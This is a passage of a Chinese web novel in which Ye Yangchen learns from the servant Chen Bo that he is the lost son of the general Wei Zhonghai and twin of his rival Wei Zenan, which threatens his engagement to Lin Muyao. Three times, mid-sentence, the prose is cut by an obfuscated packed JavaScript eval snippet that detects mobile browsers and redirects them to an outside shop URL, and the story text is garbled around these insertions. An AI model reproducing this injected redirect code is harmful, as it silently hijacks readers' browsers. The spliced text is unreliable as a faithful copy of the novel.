话音一落,叶阳晨看向康诚,一时心情复杂,自觉之前低看了这个品行高洁,义薄云天之人,不由得对此人较之前多了些敬佩之情。叶阳晨恩怨分明,他虽然对卫泽楠有切齿之恨,但他不会完全迁怒发泄在康诚身上,更不会将康诚和卫泽楠完全混为一谈。不过知道了原来的“康泽楠”就是卫忠海之子,好像突然对卫泽楠少了点厌恶。 对于康诚这种私藏罪犯之子的欺君行为,献帝内心也非常恼怒。只是此时他需维护自己布施仁政、广开恩典的形象,不能发火动怒。待稍稍平复了心情后,项桓露出悲悯的神情,“传朕旨意,即日起,康泽楠恢复祖上卫姓。念及其父卫忠海曾立下不朽功勋,特追封卫泽楠为卫国公,世袭罔替。” 皇上的恩旨一下,许多大臣都对卫泽楠羡慕不已,一日之内他就封爵受赏,还是很多大臣想都想不来的尊荣。不过那些人也想得明白,这份荣耀是卫忠海勇用血换来的,卫泽楠祖上有德,他得这个爵位也应该。 太师黄魏、太保董素听到皇上的这个旨意,甚感不快。这一天里,不仅“反贼”卫忠海被翻案平凡,就连“反贼”的儿子都封爵受赏了,他们焉能不气? 康诚激动不已,他怎么都料不到多年的冤案竟终有昭雪之日,心里想着这下终于可以告慰卫忠海与白华的在天之灵了。康诚铭感五内,连连叩头,“谢主隆恩,只是微臣启禀陛下,卫泽楠现今在外游玩,等他回来,臣便让他即刻进宫谢恩。” “好啦,平身吧。”项桓端起酒杯,“众爱卿,今日朕高兴,我们君臣共饮此杯。” 全体赴宴的大臣们共同举杯,齐齐为皇上唱“赞歌”。 只有叶阳晨知晓,卫泽楠并没有在哪儿游玩,而是被关在西关林远峰家中。叶阳晨极替卫忠海惋惜,像卫忠海那么一个忠义赤诚之人,生的儿子竟如此不成器。 那日宴席后,叶阳晨跟在康诚身后出了宫,见四下无人,才上前几步,朗声叫道:“誉国公请留步。” 康诚转过身来,“呃,原来是叶长史啊?又有何赐教?难道还想再次硬闯我的府邸吗?” “上次我冒然入府确事出有因,只是详情未来得及与誉国公细说。”叶阳晨拱手道,“今日金殿之上,听闻誉国公为保忠良之后,不惜欺君罔上,这等侠肝义胆,本人实在敬佩。” “这没什么,要我说,叶长史才是后生可畏,年少英勇。” “誉国公谬赞了,身为丰国儿郎,国家百姓有难,岂能袖手旁观?” 听叶阳晨这番言辞,康诚便不再生之前叶阳晨带兵闯自己府邸的气了。康诚笑着连连点头,眼神里多了一分欣赏和赞许,“不知叶长史是哪里人氏?” “吾为中安郡人氏。” 康诚心里一直犯疑这个叶阳晨为何与卫泽楠长得一模一样,自他第一眼看见叶阳晨就有此疑问,只是不知该怎么开口问,今天倒有机会叙话,康诚遂打听起叶阳晨的桑梓地。 康诚正想着再问些有价值的信息,叶阳晨反问道:“康大人是不是觉得吾与卫泽楠生得有几分相似?” 话音一落,康诚神色惊变,“你认识吾儿泽楠?” “认识谈不上,只能算是见过。” “你在哪里见过他?” 叶阳晨看了看左右,康诚心领神会,“不知叶长史明日是否方便到寒舍一坐?” “恭敬不如从命。” 翌日一早,叶阳晨带着清扬去了康诚的誉国公府。这次不是闯进去,算上是拜访。 昨夜,康诚回到府中,已将皇上赦免卫忠海家一事告知卫家的忠仆陈伯。陈伯闻之落泪,终于觉得无愧于当年卫家以及小姐白华的重托。 得知叶阳晨来了,康诚便让下人把他带到家里的正厅,并叮嘱下人去把陈伯叫过来。泽楠有消息了,康诚想让陈伯第一时间知道。 再者,直觉告诉康诚,叶阳晨与卫泽楠长得如此相像,应有卫家有千丝万缕的关联。这些年,陈伯一直很惦记卫家小少爷卫泽兰的下落,他心里一直存有一线希望,那就是卫泽兰尚活在人间。康诚知道陈伯的这块“心病”,所以叫他过来一起听听,有什么想问的,也好一同问问,或许真有好消息也说不定。 叶阳晨走进大厅,见正前方左右两侧挂着一副黑大漆鎏金字对联:“瑞雪飘飞出塞北,辰星闪缀过雄关。”叶阳晨将对联在心中默默读了一遍,他不知康诚的府里怎会有这样的对联,只觉感心动耳、荡气回肠。 康诚见叶阳晨怔在那里,连忙客气道:“叶长史请坐。” 叶阳晨展颜,“康大人,不要那么客气。这里是您的私人府邸,吾是晚辈,您唤我阳晨或是小晨都可以。”说着,他找了个下首的位置坐下。 众人落座,康诚主动介绍道:“阳晨,这是吾家老人陈伯,他心里十分惦念小儿泽楠,所以我也让他过来听听消息。” “应该的。”叶阳晨虚手一指,“这是我的弟弟清扬,算是陪我。” 清扬不喜说话,只是点头表示礼貌。 自从叶阳晨走进屋,陈伯的眼睛就好像定在了叶阳晨身上,怎么都移不开了。如果不是叶阳晨一身武人打扮,陈伯已经将他认成是卫泽楠了。陈伯眼睛紧紧盯着叶阳晨看,心跳也随之陡然增快。他不确信这突如其来的惊喜,这时心里冒出一个声音,或者说是一个答案:“难道卫家的小少爷并没有遇难?若是这样,真是老天有眼,吉人自有天相啊。” 叶阳晨也注意到了陈伯,见眼前的这位老者早已年迈,但精神矍铄,尤其是他的那双深陷眼睛,有一种岁月积淀下来的淡定和睿智,令人见之难忘。 大厅里稍稍安静下来,康诚先开口道:“阳晨,今日这里没有外人,你可以告知我,你是在哪里见过泽楠吗?他离家四个多月了,一点音讯也没有,家里也很着急。” 叶阳晨的脸色突然多了几分郑重,“实不相瞒,我一个多月前在西关看到过康泽楠,哦不,现在应该叫卫泽楠了。” “西关?泽楠怎么会在西关呢?”康诚和陈伯异口同声问道。 清扬冷眼一瞥,“正是,那个卫泽楠就是个癞蛤蟆,仗着与我哥长得有几分相似,就跑到西关冒充我哥,想要跟我未过门的嫂子成亲。”叶清扬平日话不多,但是哥哥受了委屈,他要替哥哥讨回公道。 该说的话弟弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982234|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替自己说了,叶阳晨就没说话,也算是默认。要是放在两天前,叶阳晨对康诚的脸色不会比叶清扬好半点,可是自从他知道康诚的品行为人后,便心生敬佩,不忍再恶言相向。 话音甫毕,康诚和陈伯皆惊愕失色,他们知道,按丰朝律法骗婚乃是死罪,故而两人提心吊胆起来。 康诚脸色煞白,但仍试探问道:“阳晨,此事当真?” “千真万确。”叶阳晨毫不遮掩。 陈伯也颤音道:“那他现在在哪儿?监狱吗?” “那倒没有,考虑到影响,西关道刺史只是将他关在府中。” “西关道刺史?可还是林远峰?” “正是。”叶阳晨没想到陈伯这样一个家奴竟然叫得出来林远峰的名字,还是有些意外。 陈伯站起身,在客厅来回走来走去,他的脸上霎时露出异样的笑容,嘴里反复低声嘟囔着:“大水冲了龙王庙,一家人不认得一家人。还好还好,还有挽回余地。” 众人不解,他们都听不太清陈伯嘴里在念叨什么。 陈伯自然是知晓卫家与林家有婚约一事的,只是卫家遭难后,他从没有去联系过林家罢了。 陈伯年迈,早已洞悉人性。当时一个失势的卫家,难免墙倒众人推,如果让很多人知道卫泽楠还活着,即使是亲朋故旧,也难保不会有人拿卫泽楠活着的消息去皇上面前邀功。事关卫泽楠的安全,陈伯谨慎认为,即使是身边至亲,也最好不要轻易相信。换言之,这个世上越少人知道卫泽楠还活着,那么卫泽楠也就越安全。 那时卫忠海已死,林远峰还值不值得信任,需要打一个问号。不过在陈伯心中,只有康诚是个例外,首先康诚算是白华的娘家人,再者陈伯也对康诚的为人更为了解。 可是如今不一样了,皇上既已赦免卫家,陈伯也就没有什么顾虑和担心的了,他看向叶阳晨,转而问道:“叶长史,你的未婚妻子是林远峰长女林慕瑶?还是小女林诗怡?” 陈伯的一番话,不仅惊到了叶阳晨,就连康诚的脸上也写满惊愕。当初项靖赐婚时,康诚是在场的,他知道林慕瑶这个名字并不奇怪。可令康诚纳闷的是,陈伯是怎么知道林慕瑶这个名字的呢?而且他竟然连林远峰小女儿的名字也知道,这就更加奇怪。 叶阳晨语气一顿,“我的未婚妻是林慕瑶。” 陈伯追问:“你应该有一块玉佩吧?上面镂空雕刻一个“瑶”字?” 陈伯的话令叶阳晨的心咯噔了一下,“您怎么会知道?” 事实上,他也是有一次偶然发现母亲房间的柜子里藏有这么一块玉佩,只是没人跟他讲过这个玉佩的来历。即使从小见过不少宝物,叶阳晨依然对那块玉佩印象深刻,它晶莹剔透、细腻温润,一看就是价值连城的宝物。 叶阳晨后面还跟母亲多次讨要过这枚玉佩,只因这个玉佩上有个“瑶”字,他想送给自己的媳妇。可是唐露每次都欲言又止,始终没有答应给他。当时叶阳晨还觉得奇怪,母亲一向宠爱自己,凡是自己喜欢的,她都毫不吝啬,怎么单单这枚玉佩不肯割爱。 无论叶阳天还是唐露,祖上都是名门望族,眼界自然不同寻常人。当年他们在叶阳晨的包被里看到这块玉,便从玉的质地判断出这孩子定出生在在钟鸣鼎食之家。叶阳天和唐露清楚这块玉藏着孩子的身世,所以他们也都很细心地保管着那块玉,但是这些年犹豫太多疼爱叶阳晨这个儿子,叶阳天他们始终不愿多提叶阳晨的身世,也就拖到了今日还没说过这枚玉佩的事。 陈伯徐徐说道:“这块玉佩算是林远峰送给你的。” “林远峰送给我的?”叶阳晨觉得自己的脑袋已经不够用了,他怎么不记得父亲认识林远峰啊?而且他们做山贼草寇的,是不太可能跟官府有什么联系的。直觉告诉叶阳晨这个陈伯知道许多事,只是他万万没有想到陈伯知道的是自己的身世。 89. 第八十九章 虽然陈伯从叶阳晨的长相猜出七七八八,但是一件件事被验证,陈伯神情激动,老泪纵横道:“孩子啊,你不姓叶,你姓卫,你的真名叫卫泽兰。至于你的父亲,他就是原尚书令卫忠海,你的母亲年轻时更是绝代芳华。而你刚刚说起的卫泽楠,他是你的同胞哥哥。” 康诚在一旁惊讶道:“你就是泽兰?亏忠海兄及表妹保佑,你这孩子还活在这个世上。” 叶阳晨完全听不懂这些人说的什么,不由得眉间一锁,眼神深凝,“简直胡说八道!我父亲叫叶阳天,母亲叫唐露。” 见叶阳晨情绪激动,陈伯看向叶阳晨的眼神多了几分慈爱,“孩子,吾本是你娘的佣人,后来才随着你的母亲到了卫家,我是不会骗你的。” 说完,陈伯微微仰起头,嘴里又在自言自语,“大小姐,你看到了吗?我终于把小少爷找到了,真是老天有眼啊! 康诚终于把所有线索都串联起来,事情也就说得通了。 见陈伯和康诚说得有模有样,叶阳晨激动得浑身颤抖,他很想反驳但却不知从何说起了,只是眼睛直勾勾地瞪着陈伯。 陈伯继续说道:“至于林家和卫家的渊源就更深了,你的生父与林远峰是结拜兄弟,早在你和泽楠一岁的时候,两家就给你们这几个小娃娃定了亲。泽楠的娉会是林慕瑶,而你长大了就会娶林诗怡为妻。” 话音一落,叶阳晨怔忡之余,更是有丝丝怒意在心中升腾。他也不知道自己在气什么,可能是在气这一切变故来得太快,而他却没有任何心理准备。 一旁的叶清扬更加惊愕,他完全接受不了叶阳晨并不是自己亲哥哥的事实,甚至宁愿自己是听错了。那是一种山崩地裂的感觉,碎石如暴雨一般落下,一块大石头压在了清扬的胸口处,令他无法呼吸。尽管在清扬心中,无论叶阳晨是谁,他对哥哥的感情并不会有丝毫改变。但是血缘上的纽带断了,还是会让清扬觉得少了一丝安全感。 这还不是清扬唯一的烦恼,听到哥哥与诗怡早有指腹婚约,他的心中更加五味杂陈。就连他那张万年古井无波的脸上,都泛起丝丝紧张与失落神情。一边是自己最敬爱的哥哥,一边是自己的此生挚爱,两边都难以割舍,清扬遇到了他人生的第一道难题。像清扬那样单纯执拗的性子,让他一下子接受这么多事情,还真是有些难为他。往常若是遇到了难题,清扬还可以去问哥哥的意见,而这次这个问题不能问,甚至不能在哥哥面前提起。 陈伯继续说着往昔的一切。叶阳晨越听越心烦意乱,“你别说了。” 陈伯好像没听见一样,继续讲述着当年的事情。 叶阳晨又听了一会儿,内心犹如翻江倒海,他实在不想再听到有关自己身世的任何事情,于是一字一顿道:“还需要我再重复一遍吗?你能不说了吗?”如果不是看在陈伯年迈,又是卫家的忠仆的份上,叶阳晨几乎要发飙。事情太过突然,叶阳晨实在接受不了自己这样离奇的身世,一时难以自处。 听了陈伯讲述的这些,叶阳晨心乱如麻,他有种很不好的感觉,也许自己和慕瑶的婚事又会生变了。令叶阳晨觉得讽刺的是,原来卫泽楠与慕瑶本就有婚约,他原以为是卫泽楠骗婚,谁知现在才知道自己才是那个“搅局”的第三者。 缘分如此玄妙,谁是谁的缘,谁是谁的劫,谁又让谁意难平,有时自己以为看得清,但是走近了后,才发现还是雾里看花。 陈伯轻叹一口气,“泽兰,哦不,我还是暂时叫你阳晨吧,事到如今,我只是觉得你有权利知道全部的真相。而且我认为你也有责任知道,毕竟将来你要继承你父亲的遗志,达成你母亲的心愿,卫家的门楣更需要你和泽楠携手光耀。如果你一切都蒙在鼓里,又怎么做到这些呢?” “既然有些话你不愿意听,我就先不说了。如果日后你想知道你亲生父母的一些事,可以随时来问我。我也理解,任是谁突然知道这些,可能都难以接受。但是你应该辨别得出来,我没有半句虚言。” “最近,我要去趟西关,求得林远峰的原谅,并让他放了泽楠。如果你不相信我的话,也可与我同去。见到了林远峰,自然一切也就真相大白了。” 叶阳晨心中雷霆万钧,又无法反驳。那天,他是怎么和清扬走出的康府,连他自己都不知道。 接下来几天,清扬看得出哥哥的情绪一直很低落,但他不太会劝人,只是每次重复着一句话,“哥,无论你是谁,你还是你,我还是我。哥哥永远是哥哥,弟弟永远是弟弟。” 自从知道叶阳晨不是自己的“亲哥哥”后,清扬就很担心哥哥不再像从前那样疼爱自己。清扬无论白天还是夜里,都在胡思乱想这件事,他长那么大,还第一次失眠。 叶阳晨也清楚清扬这几天的闷闷不乐都是因为自己,那日他心情稍稍好了一些,便暖声安慰着:“清扬,你永远是我弟弟,我的亲弟弟,谁也改变不了的。可能这些天你觉得一切都变了,但是你我兄弟情是不会变的。” 清扬先是一愣,然后展露笑颜,“哥,你说的是真的?不骗我?” 叶阳晨眼角一弯,“当然是真的,没有比这更真。” 叶清扬笑得更加开心,哥哥只要这样说,他就相信一切没有变,一切如旧。 看着弟弟脸上难得一见的笑容,叶阳晨的心如化了一般,几日来头顶的乌云也散了大半。叶清扬一直以冷脸示人,可在叶阳晨面前,他还是那个不谙世事的大孩子,而叶清扬也不希望弟弟那么快长大。 叶阳晨判断,既然那海逃回北都,那么暂时应不会再南下。尽管这样,他还是放心不下前线的事,但事关自己的身世和慕瑶,思虑再三,叶阳晨最后还是决定跟着陈伯同回了西关。康诚本想同去,只是皇上临时交派了些差事,只好留在临昌。 至于楚州那里,暂时有芷萱和丁鹏在那里坐阵,叶阳晨稍稍放心了些。出了这么大的事,叶清扬怎么都不肯留下来守城,他一定要陪哥哥回西关。 其实不用回到西关,叶阳晨也知陈伯说的每句话都是真的,因为天底下最会编故事的人也无法编得那么逼真。尽管入朝为官后,他听说了许多卫忠海尽忠报国的故事,内心也极为敬佩卫忠海的为人。但感情和崇拜是两回事,叶阳晨对生父卫忠海没有什么感情,至于生母白华,他也是素未谋面。 回想这近二十年来,叶阳晨的记忆里都是泽清山的草木山水,是叶阳天教会了自己一切,是唐露寸草春晖之情,更是夏薇待他视如己出,长风寨才是他真正的家。如果可能,叶阳晨更宁愿自己就是叶阳天和唐露的亲生儿子。 回西关的路上,叶阳晨一直心事重重,他不知到了西关该怎么面对慕瑶。胡思乱想中,叶阳晨突然想起一件事,便问陈伯:“陈伯,既然你说我哥哥的未婚妻是慕瑶,那为何慕瑶的玉佩会在我这里?” 陈伯慢慢道来:“那个玉佩原有两块,作为两家的定亲信物,是林远峰赠予卫家的。玉佩上一个刻着“瑶”字,另一个就刻着“怡”字,各取了林远峰女儿名字中的一个字。那时卫家遭难,我们急着把你们两兄弟送出城,大概是慌乱之中就把两枚玉佩放错了襁褓。小晨,陈伯没有骗你,林慕瑶的的确确应是你的嫂子。” 叶阳晨心里百感交集、进退维谷,他真不知该怎么办才好。叶阳晨反复问自己:“知道这些真相后,我真的可以不顾当年两家定下的娃娃亲而迎娶慕瑶吗?似乎无法做到心安理得。可如果这样不行,我能割舍掉对慕瑶的感情吗?好像同样也做不到。” 叶阳晨心酸道:“陈伯,你知道吗?若不是这次国家有难,我现在已经和慕瑶成亲了。” 陈伯眼里一惊,“还有这样的事?真是造化弄人啊!” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002096|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,今岁会试,我状元及第,皇上赐婚于我。” 陈伯双眸陡然一亮,“状元?真是祖上有德,福泽子孙,太好了,太好了。”说着说着,老人家喜极而泣。 接下来,两人皆沉默了。 良久,陈伯才又缓缓道:“我不知道你和林慕瑶还有那样一段缘分,唉,那还真难为你了。你和泽楠都是卫家的孩子,我不会偏袒你俩任何一个。只是按照我了解老爷的个性,他是那样重信守诺的人,应该不会改变当初两家的约定。” “而且你和泽楠是亲兄弟,我实不愿看见你们兄弟因为女人反目。你试想一下,你不肯放弃林慕瑶,泽楠就一定愿意放弃吗?如果泽楠不是很倾心林慕瑶,也不会做出骗婚的蠢事了。” 陈伯嘴上说不偏袒任何一个,但是心里总还是偏向卫泽楠多一点的,毕竟陈伯是看着卫泽楠长大的。 叶阳晨暂时不愿再想这个无解的问题,于是转换话题问道:“陈伯,你给我讲讲卫忠海,就是…我生父吧?” “你的亲爹啊,在朝中,他励精图治,在边关,他威名远扬。国难当头,他以一己之力扶大厦之将倾,挽狂澜于既倒。他可真真是个顶天立地的男子汉、大英雄。” 其实即使陈伯不说这些,叶阳晨也听过卫忠海那些碧血千秋的事迹。当时的叶阳晨并不知道这个为国尽忠的英雄就是自己的生父,他只是觉得这个人铁骨铮铮,是为丰国第一“战神”。 一想到这个牛人就是自己的亲生父亲,叶阳晨还是觉得与有荣焉。他笑着哽咽道:“还真是厉害啊!” 陈伯从怀里掏出一个旧香囊,打开香囊,他从里面拿出一张纸,然后手颤颤巍巍把那张纸递给了叶阳晨,“这是你父亲离开北都,出征瓦哈国前留下的亲笔信,也可以说是你父亲留下的遗书,你要不要看一下?” 叶阳晨连忙把信接过来,很怕弄坏了它,于是小心翼翼打开。 苍劲的笔体跃然纸上,信上写着:“白华吾妻,吾与汝结发数年,恋恋相知,恩爱有加,余甚感动。人生天地之间,若白驹过隙,忽然而已。余至此方觉愚钝,数年来皆勤于政务,于汝顾之不善,甚感惭赧。” “如今吾即将赴北远行,恐与汝此生再无相见之日,心中难舍、痛不可当。回想过往,吾半生所为,苟利社稷,死生以之,无愧天地。惟对汝于心有愧,若有来生,必犬马报之,定不相负。” “若吾战死北疆,待幼子束发之年以告为父之愿,卫氏祖上文臣济济,独武将乏善可陈,此乃憾事也。吾祈愿神明相佑,小儿及弱冠之年可成骁勇善战之将,而后骠骑天下,荡平蒙古,驱敌于万里,保丰朝万世太平。届时,余可大快遂心于九泉矣。” 读完信后,叶阳晨的心里替自己生身父母之间的深刻感情而感动,他在信的字里行间,看到了一个深爱妻子的丈夫,也感受到了一个父亲对爱子的谆谆教诲。 叶阳晨轻轻地重新把信叠好,试探问着:“陈伯,这个信可否交我先保存着?” 陈伯点点头,动情道:“这封绝笔本就是你爹的遗物,你当然可以留着。希望你能如你爹所愿,有一天能成为一名将军。” 叶阳晨把信小心地揣进怀里,越快到西关道,他的心里就越忐忑。 叶阳晨已经感觉到了有一道无形的鸿沟挡在他与慕瑶之间。首先卫泽楠是他的长兄,他要给予起码的尊重。再者,陈伯陪着卫泽楠一起长大的,支持卫泽楠本就胜于他。而且林卫两家原本的婚约就是姐姐配哥哥,弟弟娶妹妹,丰国的律法里也约定,订婚后不可轻易改之,既然人没有亡故,那么当年的婚约当然作数。 眼下,叶阳晨只能去赌一赌林远峰对婚事的态度。如果林远峰支持自己,那么或许还有一线希望。 自九岁起,叶阳晨就心悦林慕瑶,让他立刻断情丝、斩情缘,他实难做到。 90. 第九十章 叶阳晨这边发生的事,慕瑶还全然不知,她满心盼着叶阳晨能早点回来,那样她就可以“名正言顺”地嫁给他了。 慕瑶正坐在窗前发呆,洛洛端茶进来。 洛洛见慕瑶失魂落魄的样子,于是打趣道:“小姐又在想情郎了吗?” “你胡说什么?没有的。”慕瑶回过神,“你怎么那么讨厌啊?” “还说没有想,你的脸都红了。” 慕瑶用手背微微遮住脸,轻声娇语,“不许看……” “小姐,看你这样幸福快乐,真替你开心。” 慕瑶放下手,依旧带着娇羞,“你过去不是还挺讨厌叶阳晨的吗?你还说他嘴巴又臭又硬。” “那都是很久以前的事了,我见他待你真的好,对他的印象也便改观了。”洛洛俏皮一笑,“说真的,从前的叶阳晨,一副游荡懒散的样子,看着就让人讨厌。” 慕瑶怎会不知以前的叶阳晨是什么样呢,好的他,坏的他,专情的他,冷酷的他,桀骜不驯的他,爱憎分明的他,光明磊落的他,豪气干云的他,都是那么熟悉而难忘。 洛洛旁若无人地继续说着:“阳晨哥那人吧,脾气虽然差了点,但性格耿直,人也很真诚。不像那个卫泽楠,看着挺斯文的,实际就是个败类。” 尽管叶阳晨与卫泽楠长得几乎一模一样,但骨子里透出来的气质是截然不同的。卫泽楠确实如洛洛所说,一副斯文像,而叶阳晨眉眼英气逼人,疏朗轻狂。 慕瑶轻翘着唇角,“你不要提那个卫泽楠嘛。”每每想起卫泽楠,她心里总是会有点不舒服。那个讨厌的人冒充别人也就算了,可偏偏冒充的是自己的心上人,慕瑶很介意这一点。 “是,不提,不提。提的话,只能提小姐的心上人。”凡女孩子都崇拜英雄,洛洛也不例外,洛洛突然正色道,“对于阳晨哥这个人,我承认我从前太武断了,看他也太浮于表面。这次阳晨哥去前线,连打了两场胜仗,真是神勇无比,他真的好不平凡啊。” 慕瑶幸福地听着洛洛说着自己的心上人,可嘴上却故意说着反话,“他哪有你说得那么好?” 洛洛瞪大了眼睛,“我说的都是真的,不仅是我。现在只要你走在西关的街上,总能听到妙龄女孩谈论叶阳晨,说他功高盖世,还说嫁人就嫁他这样的男子。我一想到别人口中的那个英雄就是我们身边的人,以后会是我们的家人,我还是会很自豪。” 听着洛洛说了这么多,慕瑶终于抿嘴一笑。她也知道洛洛说的都是实情,她也曾在外边听到一些闺阁女子眼含笑意地谈论叶阳晨,那些女子的言语中无不对叶阳晨充满了崇拜,有的女孩笑着说希望有机会能亲眼见一见大将军的风采,还有的人羞着脸神往地说如果将来能嫁给这样的郎君该有多好。 每当这时,慕瑶的心情都很复杂,喜的是那么多女孩倾心自己的心上人,更加说明了自己的爱人是多么优秀,而这个盖世英雄心里却只有自己。但有一点失落的是,好像现在叶阳晨不再只属于自己了,也不再是那个只有她自己熟识的明亮少年了,这或许就是慕瑶心里小小的嫉妒心吧。 有时,慕瑶也会有种错觉,为何自己曾经那么讨厌的一个人,竟有一天会成为万千少女心目中的英雄。想着想着,她甚至觉得这一点很有趣,如今那么多女孩都倾慕的人,偏偏当初自己憎恶至极,好像显得自己的眼光好差。 其实叶阳晨能取得今天的成就,林慕瑶也并不是很意外的。她熟悉了叶阳晨之后,便觉得此人若不是生在草莽,凭他的聪明睿智,定能有一番作为的。后来叶阳晨习读诗书后,更是胸怀锦绣,慕瑶就更确定,他名扬天下也只是时间问题。 一路颠簸,叶阳晨、叶清扬、陈伯三人终于到了西关。进了林府,叶阳晨直接带着陈伯去见了林远峰。 林远峰一见到叶阳晨便一脸喜悦,“小晨,真是好样的。我得到消息了,临昌保卫战你守住了,楚州也被你夺回来了,真是天佑吾丰国啊。” 叶阳晨心情低落,没有心情去聊别的事,他介绍着:“林伯伯,这位是陈伯。”叶阳晨没提醒的话,林远峰还没有注意到叶阳晨身边的老人,还以为那只是叶阳晨的随从。 陈伯主动上前,“林大人,我们也好久不见了。” 林远峰这才看过去,这一瞥令他眉头渐渐锁住,目光也随之深凝。 陈伯玩味笑着,“怎么?不认识了?”过去了那么多年,陈伯的头发几乎全白了,脸上的皱纹也更深了,这才令林远峰没第一时间认出来。 林远峰又端详一番,倏然惊愕地说不出话来。良久,他才颤音道:“陈…陈伯,真的是你?你竟然还活着?”要说卫家别的人林远峰可能不认得,但陈伯是卫家的管家,林远峰当然是熟识的。 “是啊!”陈伯展露笑颜,“我也没想到我有生之年还能再见到你。” 林远峰如梦方醒,“陈伯,你怎么会突然来西关的呢?” “还不是因为卫泽楠那臭小子。” “卫泽楠?” “哦,他对外都叫作康泽楠。” 时间在那一刻好似停止,林远峰眼睛陡然瞪大,震惊之色写满了瞳仁,“难道那个康泽楠就是大哥的孩子?”林远峰完全懵了,他没想到那个康泽楠竟是自己的义兄之子,也难以置信康泽楠原就是自己的女婿。 陈伯点头应是,“是的,泽楠就是卫忠海的长子啊。” “我怎么就那么笨呢?我怎么就没想到,没认出来呢?”林远峰站在大厅喊着,“林忠…林忠……” 管家林忠快步跑了进来,“老爷,您找我?” “快去把康泽楠放了,还有马上带他到这里来。”林忠转身就要走,林远峰叫住他,“等等,把大小姐和二小姐也叫过来。” 听林远峰要把所有人都叫到前厅来,叶阳晨突然心头一紧,他不知接下来会发生什么。 林忠刚走出去,林远峰激动地问着陈伯这些年的经历,重新见到故人,这种喜悦之情难以言表。 聊了一会儿,陈伯才想起来还没有介绍叶阳晨,于是话锋一转,“林老爷,当年活下来的不只有泽楠,还有泽兰。”陈伯边说边拉着叶阳晨走到林远峰跟前。 林远峰恍然,随即冲着叶阳晨欣慰的笑,“怪不得你和卫泽楠长得那么像,原来你们都是大哥的孩子。真是上天护佑,原来你们都没有出事,我还以为你们两兄弟早就不在人世间了呢。”林远峰也曾觉得无论是康泽楠,还是叶阳晨,眉宇间都有大哥卫忠海的影子,只是那些念头都是一闪而过,他都没有深入去想。 叶阳晨欲言又止,“林伯伯,这次我回来,慕瑶她……” 叶阳晨的话还未说完,卫泽楠先走了进来。他那呆滞无神的双眼再看到陈伯的一瞬间便倏忽一亮。卫泽楠连忙跑到陈伯面前,激动得跌跪下来,随即紧紧抱住陈伯的腿,哭哭兮兮道:“陈伯,你可来了,这些人要杀了我?您快点救我。” 当初当骗子的时候,卫泽楠演得风度翩翩,现在涉及生死大事,他完全不再顾及自己的颜面,众人面前他已是丑相百出。 陈伯与卫泽楠虽是主仆关系,但是陈伯一直待卫泽楠视如己出,所以他们俩的感情很好。陈伯虚扶卫泽楠站起来,“楠儿,别害怕,快跟我见你林伯伯。” 卫泽楠更加惶恐,“陈伯,我真的是被冤枉的,我没有做错事……”被关了这么久,他对林远峰生出些畏惧,又见叶阳晨也在这里,他就更加惊恐。 陈伯继续慈祥地安慰着:“楠儿,别怕。林伯伯是你父亲的结拜兄弟,我们都是一家人的。” “有这种事?”卫泽楠一脸讶异。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025037|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “千真万确,还有,这次的事我也跟你林伯伯解释过了,一切都是误会。你有所不知,当年你的父亲与林伯伯就给你们这几个孩子订了娃娃亲的,也就是说原本你和慕瑶就有婚约在先。” “陈伯,你说什么?我跟慕瑶有婚约?”卫泽楠喜出望外,“既然有亲事,为什么我的父亲怎么从来没有跟我提起过呢?还有,我父亲怎么没来西关呢?” “楠儿,我说的父亲不是指康诚。” “陈伯,你说什么?我怎么一句都听不懂。除了康诚我还有哪个父亲。” 陈伯语声沧桑了些,“楠儿,其实你不姓康,康诚也不是你的亲生父亲,你真正的父亲是卫忠海。这些年我一直都瞒着你的身世也是为了你的安全,如今你生父的罪被皇上赦免,你又被封为卫国公,我才敢把实情告知你。” 卫忠海这个人卫泽楠简直太熟悉了,算是自小听到大,听得耳朵里的茧子都快磨出来来。虽然康诚和陈伯不能跟卫泽楠讲他真正的身世,但却不想让卫泽楠忘了祖宗,所以就当是讲一个英雄的故事,两人轮番着把卫忠海的爱国情怀和忠烈事迹给卫泽楠讲了遍。 卫泽楠一听战功赫赫的英雄是自己的生父,不由得张大了嘴巴,放佛自己听到的是天方夜谭。片刻后,他回过神来,喜从心生,兴奋地大笑,“陈伯,你说的都是真的?没有骗我?慕瑶真的是我的未婚妻?”卫忠海是生父并不能令卫泽楠兴奋,但是慕瑶是自己的未婚妻却能。 “当然,我骗你干什么?”陈伯一脸郑重地说着。 